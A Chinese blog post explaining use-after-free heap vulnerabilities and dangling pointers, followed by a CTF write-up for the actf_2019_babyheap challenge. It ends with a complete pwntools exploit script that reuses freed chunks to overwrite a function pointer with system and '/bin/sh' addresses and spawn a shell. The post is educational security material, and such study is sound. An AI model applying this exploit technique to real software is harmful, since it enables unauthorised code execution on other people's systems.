随笔 - 0  文章 - 6  评论 - 4  阅读 - 188

UAF初识

UAF漏洞

漏洞简介

UAF —— Use After Free:其内容如同其名称,free后进行再利用。UAF是堆结构漏洞的一种重要的利用方式。
在程序中,UAF常有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL,然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
    而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。

Dangling Pointer(悬挂指针、悬空指针、迷途指针)是计算机编程中的一个常见且危险的问题,它指的是一个指针仍然保留着之前指向的内存地址,但是这片内存区域可能已经被释放或者不再有效,从而可能导致程序在使用该指针时出现未定义行为。

下面我将通过一道简单的例题展示一下UAF的攻击。

例题分析

题目来源:actf_2019_babyheap(UAF)

拿到题先检查保护信息,然后运行一下。
image
image
这是一道菜单题,没有开启PIE。
然后用ida反编译一下,定位到 main函数。
image
经过我们的逆向之后,代码是这个样子的。
main函数:
image
menu函数:
image
可以看到该函数调用了system函数,我们再检索一下字符串,发现了/bin/sh
image
由于这道题没有开启PIE,所以system函数的地址和/bin/sh的地址我们就取得了,后续可能会有用。
creat:
image
creat函数先是malloc了一个0x10大小的堆块,然后把用户malloc的堆块的地址和print_context的地址存入该堆块。
print_content:
image
delete:
image
可见delete函数中再free掉堆块之后并没有将指针设置为NULL,说明程序中可能存在UAF漏洞。
show:
image
可以看到,show函数是通过调用函数指针来输出数据的,而这个函数的地址储存在ptr[index][2]处,参数储存在ptr[index][1]处
那么思路就十分明确了。我们可以先创造2个任意大小的堆块(远离0x10即可),然后free掉他们。然后再创建一个0x10(或者0x18)大小的堆块,通过修堆块的内容为binsh_addrsystem_addr然后再执行show(0)就可以了。说的可能有点晦涩难懂,以下是具体解释。
在我们申请两个堆块之后,大致情况如下。
image
然后我们再把这两个堆块free掉,再次申请0x10(0x18)大小的堆块。
此时由于堆管理机制,我们申请得到的struct3就是原来的struct2,content的堆块就是原来的struct1(后入先出),这样我们就可以把原来的content地址改为binsh的地址,print_content的地址改为system的地址,然后再show(0)就能够getshell(struct1的index为0)。
那么具体的exp如下:

from pwn import *

def create(size, content):
    p.sendlineafter('Your choice:', '1')
    p.sendlineafter('Please input size:', str(size))
    p.sendafter('Please input content: ', content)

def delete(idx):
    p.sendlineafter('Your choice:', '2')
    p.sendlineafter('Please input list index:', str(idx))

def show(idx):
    p.sendlineafter('Your choice:', '3')
    p.sendlineafter('Please input list index:', str(idx))

if __name__ == '__main__':
    context(log_level='debug' , os = 'linux', arch = 'amd64')
    pwnfile = './uaf'
    p = process(pwnfile)
    elf = ELF(pwnfile)
	
    sys_addr = 0x4007A0
    binsh_addr = 0x602010
	
    create(0x100, 'a'*0x100)
    create(0x100, 'b'*0x100)
    delete(0)
    delete(1)
    create(0x10, p64(binsh_addr) + p64(sys_addr))
    show(0)
    p.interactive()

2024-12-15 20:44:51 星期日

posted on   丶落雪  阅读(33)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
< 2025年3月 >
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5

点击右上角即可分享
微信分享提示